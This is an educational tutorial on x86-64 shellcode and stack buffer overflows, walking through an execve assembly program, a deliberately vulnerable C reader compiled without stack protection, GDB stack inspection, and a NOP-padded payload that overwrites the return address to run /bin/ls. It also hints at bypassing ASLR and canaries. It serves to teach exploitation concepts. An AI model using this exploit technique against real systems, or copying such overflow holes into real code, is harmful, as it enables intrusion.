Unveiling Shellcode: Exploring the Power and Potential of Cybersecurity's Secret Weapon

Introduction

Introduction

This article dives into the world of shellcode, a fundamental aspect of cybersecurity that enables direct command execution at the machine code level. Our focus is purely educational, aiming to shed light on how shellcode works. We'll explore the use of a buffer overflow vulnerability to inject and execute shellcode, illustrating the process with practical examples. Whether you're a budding security enthusiast or a seasoned professional, understanding shellcode is crucial for navigating the complexities of modern cyber defense.

Disclaimer

The techniques and code examples presented in this article are for educational purposes only. Experimenting with shellcode and similar methods carries significant ethical and legal responsibilities. We strongly advise against using this information for unauthorized access or activities that could harm others or violate privacy rights. Always seek explicit permission before testing systems that you do not own or have explicit authorization to test. By proceeding, you acknowledge the importance of using these skills for ethical hacking and cybersecurity enhancement only.

What is Shellcode?

Shellcode is a specifically crafted set of instructions that, when executed on a target machine, typically results in opening a shell prompt. It's used by attackers to exploit vulnerabilities, allowing them to inject this payload and achieve remote code execution.

The power of shellcode lies in its ability to run arbitrary commands on a system, making it an invaluable tool in cybersecurity attacks and defenses. Shellcode minimizes dependencies by directly utilizing system calls (syscalls).

This example demonstrates creating an executable using syscalls to run a command, such as listing directory contents.

format ELF64 executable     ; Specify the target format (ELF 64 bits executable)

segment readable executable ; Create an readable and executable segment
entry _start                ; Specify the entry-point of the program

SYS_EXEC equ 0x3B           ; Define the SYSCALL number for execve

_start:
    ; The syscall use EAX register for the primitive ID, then x64 calling convention for the parameters
    mov eax, SYS_EXEC       ; execve code
    mov rdi, .sh_path       ; 1st param: path = /bin/ls
    mov rsi, .argv          ; 2nd param: argv = [path, 0x00]
    mov rdx, 0              ; 3rd param: env = NULL
    syscall                 ; Run the SYSCALL command (and never return)
.sh_path:
    db "/bin/ls", 0x00
.argv:
    dq .sh_path, 0x00

You can find a list with the syscall parameters here

This assembly code can be compiled using fasm and run:

> fasm syscall.s syscall
> ./syscall
Makefile  main  main.c  shellcode  shellcode.md  shellcode.s
>

With just a few assembly instructions, we achieve command execution without external dependencies. The next step is exploring effective methods for payload injection and execution on target machines.

Buffer Overflow Based Code Injection

In this section, we'll explore code injection via buffer overflow, a technique that involves surpassing the bounds of a buffer to inject arbitrary code into a program's execution flow. To simplify our demonstration, we'll bypass common security measures like ASLR (Address Space Layout Randomization) and stack canaries, and we'll make the stack segment executable. Addressing the circumvention of such security features in real-world scenarios is beyond this article's scope.

This technique exploits a buffer allocated on the stack, injecting shellcode and manipulating the function's return address to point to the shellcode's location in the stack, thus hijacking the program's execution flow.

Stack structure

The stack in x86/x64 architectures plays a crucial role in program execution, handling several key functions:

  • It's instrumental in passing parameters to functions, ensuring that called functions receive the necessary inputs.
  • Registers values are preserved before calls, allowing for the restoration of the system's state post-function execution.
  • The return address is stored upon making a call, guiding the program flow back after a function concludes.
  • The Base Pointer of the caller is saved, marking the current function's stack frame for easy access.
  • Local variables find their home on the stack, making them readily accessible during function execution.
Low Memory Addresses
    |                |
    +----------------+ <--- Current RSP (Stack Pointer), after local vars allocation
    |  Local Var 1   |  (Local variables of the current function)
    |  Local Var 2   |
    |  ...           |
    +----------------+ <--- RBP (Base Pointer) of current function's frame
    |  Saved RBP     |  (Previous function's Base Pointer, saved by prologue of current function)
    +----------------+ <--- RSP after call, before current function's prologue
    |  Return Addr   |  (Address to return to after this function completes)
    +----------------+ <--- Caller's RSP before call to current function
    |  7th Argument  |  (If more than six integer/pointer arguments,
    |  8th Argument  |   additional arguments are passed on the stack)
    |  ...           |
    +----------------+ <--- Higher Address
    |  Previous      |
    |  Function's    |
    |  Frame...      |
    |                |
High Memory Addresses

Inspecting the Stack using GDB

To gain a deeper understanding of stack operations, we'll examine a simple C program under the lens of GDB, the GNU Debugger. Our goal is to observe how the stack behaves in real-time during program execution.

The program reads data into a buffer from a file named "shellcode," intentionally reading more data than the buffer can hold to demonstrate stack behavior.

#include <stdio.h>
#include <fcntl.h>

int main() 
{
    unsigned char buff[0x40];
    int fd = open("shellcode", O_RDONLY);
    read(fd, buff, 0x60);
}

To compile this program, we use GCC with specific flags to disable stack protection and allow execution of code on the stack:

gcc -o main -fno-stack-protector -z execstack main.c

Then, by initiating a GDB session and setting a breakpoint at the main function, we can step through the program, inspecting the stack and understanding its structure and the effects of our code on it.

┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│    0x555555555169 <main>           endbr64                            # anti ROP protection                          │
│    0x55555555516d <main+4>         push   rbp                         # save old rbp on stack                        │
│    0x55555555516e <main+5>         mov    rbp,rsp                     # set base pointer to current stack pointer    │
│B+> 0x555555555171 <main+8>         sub    rsp,0x50                    # allocate stack mem for local vars            │
│    0x555555555175 <main+12>        mov    esi,0x0                     # set param2 to O_RDONLY(which is defined as 0)│
│    0x55555555517a <main+17>        lea    rax,[rip+0xe83]             # get the filename                             │
│    0x555555555181 <main+24>        mov    rdi,rax                     # set param1 to filename                       │
│    0x555555555184 <main+27>        mov    eax,0x0                     # clear eax (return value)                     │
│    0x555555555189 <main+32>        call   0x555555555070 <open@plt>   # call open function                           │
│    0x55555555518e <main+37>        mov    DWORD PTR [rbp-0x4],eax     # save FD at rbp-0x4                           │
│    0x555555555191 <main+40>        lea    rcx,[rbp-0x50]              # get the buffer address                       │
│    0x555555555195 <main+44>        mov    eax,DWORD PTR [rbp-0x4]     # put the FD in eax                            │
│    0x555555555198 <main+47>        mov    edx,0x60                    # set param3 to 0x60 (read size)               │
│    0x55555555519d <main+52>        mov    rsi,rcx                     # set param2 to buffer                         │
│    0x5555555551a0 <main+55>        mov    edi,eax                     # set param1 to FD                             │
│    0x5555555551a2 <main+57>        mov    eax,0x0                     # clear eax (return value)                     │
│    0x5555555551a7 <main+62>        call   0x555555555060 <read@plt>   # call read function                           │
│    0x5555555551ac <main+67>        mov    eax,0x0                     # set main's return code to 0                  │
│    0x5555555551b1 <main+72>        leave                                                                             │
│    0x5555555551b2 <main+73>        ret                                                                               │
└──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
(gdb) info reg $rsp
rsp            0x7fffffffe100      0x7fffffffe100
(gdb) x/4gx $rsp
0x7fffffffe100: 0x0000000000000001
0x7fffffffe108: 0x00007ffff7db6d90
0x7fffffffe110: 0x0000000000000000
0x7fffffffe118: 0x0000555555555169
(gdb) 

In our GDB session, we observed that the return address is positioned in the stack at 0x7fffffffe108. This location isn't at the very top of the stack due to the push rbp operation, which introduced a new entry (0x0000000000000001) into the stack.

Continuing our exploration with GDB, we'll proceed further in the code execution to pinpoint exactly where the buff variable is allocated on the stack.

┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│    0x555555555169 <main>           endbr64                            # anti ROP protection                          │
│    0x55555555516d <main+4>         push   rbp                         # save old rbp on stack                        │
│    0x55555555516e <main+5>         mov    rbp,rsp                     # set base pointer to current stack pointer    │
│B+  0x555555555171 <main+8>         sub    rsp,0x50                    # allocate stack mem for local vars            │
│    0x555555555175 <main+12>        mov    esi,0x0                     # set param2 to O_RDONLY(which is defined as 0)│
│    0x55555555517a <main+17>        lea    rax,[rip+0xe83]             # get the filename                             │
│    0x555555555181 <main+24>        mov    rdi,rax                     # set param1 to filename                       │
│    0x555555555184 <main+27>        mov    eax,0x0                     # clear eax (return value)                     │
│    0x555555555189 <main+32>        call   0x555555555070 <open@plt>   # call open function                           │
│    0x55555555518e <main+37>        mov    DWORD PTR [rbp-0x4],eax     # save FD at rbp-0x4                           │
│    0x555555555191 <main+40>        lea    rcx,[rbp-0x50]              # get the buffer address                       │
│  > 0x555555555195 <main+44>        mov    eax,DWORD PTR [rbp-0x4]     # put the FD in eax                            │
│    0x555555555198 <main+47>        mov    edx,0x60                    # set param3 to 0x60 (read size)               │
│    0x55555555519d <main+52>        mov    rsi,rcx                     # set param2 to buffer                         │
│    0x5555555551a0 <main+55>        mov    edi,eax                     # set param1 to FD                             │
│    0x5555555551a2 <main+57>        mov    eax,0x0                     # clear eax (return value)                     │
│    0x5555555551a7 <main+62>        call   0x555555555060 <read@plt>   # call read function                           │
│    0x5555555551ac <main+67>        mov    eax,0x0                     # set main's return code to 0                  │
│    0x5555555551b1 <main+72>        leave                                                                             │
│    0x5555555551b2 <main+73>        ret                                                                               │
└──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
(gdb) info reg $rcx
rcx            0x7fffffffe0b0      140737488347312
(gdb)

Upon further analysis in our GDB session, we've located the buff variable at 0x7fffffffe0b0. This positioning logically follows from the return address at 0x7fffffffe108, considering the stack operations: a push rbp that subtracts 8 bytes, and a sub rsp, 0x50 subtracting another 0x50 bytes, accounting for the stack's downward growth. The calculation 0x7fffffffe108 - 0x08 - 0x50 results in 0x7fffffffe0b0, confirming the buff variable's location on the stack.

To overwrite the return address during a buffer overflow exploit, the crafted input must consist of 0x58 bytes: 0x50 bytes to fill the buffer up to the saved base pointer, plus an additional 0x08 bytes to reach the return address. Subsequently, an extra 0x08 bytes are required to overwrite the return address itself. This precise input length ensures the manipulation of the return address, redirecting the program's flow as intended.

With a clear understanding of the buff variable's location and the technique to overwrite the return address, we are now poised to embark on the final phase of our endeavor. This step will leverage our foundational knowledge to execute the shellcode through precise payload crafting and injection.

Crafting the Shellcode Payload

With the necessary information at hand, we're now set to create and inject our shellcode. Here's a breakdown of the critical details:

  • The buff variable is located at 0x7fffffffe0b0, which is our payload's destination.
  • The return address we aim to overwrite is at 0x7fffffffe108.
  • The total payload size required is 0x60 bytes to precisely fill the buffer and overwrite the return address.

Now we can proceed to assemble and inject the shellcode into the target location, tailoring our payload to fit the specific requirements outlined by our analysis:

USE64                       ; Instruct the FASM to generate 64 bit code

ORG 0x7fffffffe0b0          ; Set address where this will be loaded into memory
                            ; This is essential for FASM to compute correctly label addresses

SYS_EXEC equ 0x3B           ; Define the SYSCALL number for execve              

.start:
    mov eax, SYS_EXEC       ; execve code
    mov rdi, .command       ; 1st param: path = /bin/ls
    mov rsi, .argv          ; 2nd param: argv = [path, 0x00]
    mov rdx, 0              ; 3rd param: env = NULL
    syscall                 ; Run the SYSCALL command (and never return)
.command:
    db "/bin/ls", 0x00
.argv:
    dq .command, 0x00
.end:

times (0x58 - (.end - .start)) nop  ; Pad with NOPs 
dq .start                    ; The return address override

To compile the assembled shellcode into a binary payload suitable for exploitation, we use FASM with the following command:

fasm shellcode.s shellcode

Unlike our previous example where we specified format ELF64 executable, this time we omit it. As a result, the output is a raw binary file consisting solely of the compiled instructions and defined bytes, not an ELF executable.

To avoid disabling ASLR (Address Space Layout Randomization) system-wide, which enhances security by randomizing process address spaces, we'll execute our demonstration code within GDB. GDB conveniently disables address randomization by default, simplifying the debugging process without compromising the system's security posture. This approach allows for consistent address references during our exploration and exploitation attempts.

Observing the stack's state before and after the read operation provides crucial insights into how data is managed and manipulated. Initially, the stack contains predefined values and pointers essential for the program's flow. After executing the read operation, significant changes occur: the stack now includes injected data, and the return address has been changed:

# before file reading
(gdb) x/20gx $rsp
0x7fffffffe0b0: 0x00000000000006f0      0x00007fffffffe469
0x7fffffffe0c0: 0x00007ffff7fc1000      0x0000010101000000
0x7fffffffe0d0: 0x0000000000000002      0x000000001f8bfbff
0x7fffffffe0e0: 0x00007fffffffe479      0x0000000000000064
0x7fffffffe0f0: 0x0000000000001000      0x0000000355555080
0x7fffffffe100: 0x0000000000000001      0x00007ffff7db6d90 < RBP and return address
0x7fffffffe110: 0x0000000000000000      0x0000555555555169
0x7fffffffe120: 0x00000001ffffe200      0x00007fffffffe218
0x7fffffffe130: 0x0000000000000000      0x1f4e69887daa8232
0x7fffffffe140: 0x00007fffffffe218      0x0000555555555169

# after file reading
(gdb) x/20gx $rsp
0x7fffffffe0b0: 0xd2bf480000003bb8      0x4800007fffffffe0 < shellcode bytes 
0x7fffffffe0c0: 0x007fffffffe0dabe      0x00000000c2c74800
0x7fffffffe0d0: 0x6c2f6e69622f050f      0x7fffffffe0d20073
0x7fffffffe0e0: 0x0000000000000000      0x9090909090900000
0x7fffffffe0f0: 0x9090909090909090      0x9090909090909090 < NOP padding (0x90)
0x7fffffffe100: 0x9090909090909090      0x00007fffffffe0b0 < RBP and return address
0x7fffffffe110: 0x0000000000000000      0x0000555555555169
0x7fffffffe120: 0x00000001ffffe200      0x00007fffffffe218
0x7fffffffe130: 0x0000000000000000      0x1f4e69887daa8232
0x7fffffffe140: 0x00007fffffffe218      0x0000555555555169

The overflow operation successfully injected the payload and altered the return address, demonstrating the effectiveness of the crafted payload in manipulating the stack as intended. This critical step confirms the vulnerability exploitation, paving the way for executing arbitrary code through the injected shellcode.

Running the code will confirm its functionality, validating the effectiveness of the injected payload and buffer overflow technique.

(gdb) file main
Reading symbols from main...
(gdb) run
...
process 3222 is executing new program: /usr/bin/ls
Makefile  gdb_cmd  main  main.c  res  shellcode  shellcode.md  shellcode.s  syscall  syscall.s
[Inferior 1 (process 3222) exited normally]
(gdb)

The successful execution of the exploit is evident as GDB indicates the initiation of a new process (/usr/bin/ls), followed by the listing of folder contents by the "ls" command. This outcome verifies the effectiveness of the injected shellcode in executing arbitrary commands, validating the exploit's functionality.

Real World Shellcode

This article deliberately disregards several security measures implemented to safeguard systems against such attacks.

In real-world scenarios, circumventing these protections often requires innovative approaches. For instance, storing the payload in alternative locations, such as environment variables, can bypass ASLR (Address Space Layout Randomization), ensuring the code's predictable location. Additionally, crafting the payload as a printable string, devoid of characters like \x00 or \n, prevents interference with the data stream, enhancing stealth.

The stack canary serves as another formidable defense against buffer overflow attacks. In response, attackers may opt to overwrite function pointers to execute their code covertly, evading detection.

These considerations underscore the complexity and adaptability required for successful exploitation in real-world contexts, emphasizing the need for robust defense strategies against evolving threats.

Comments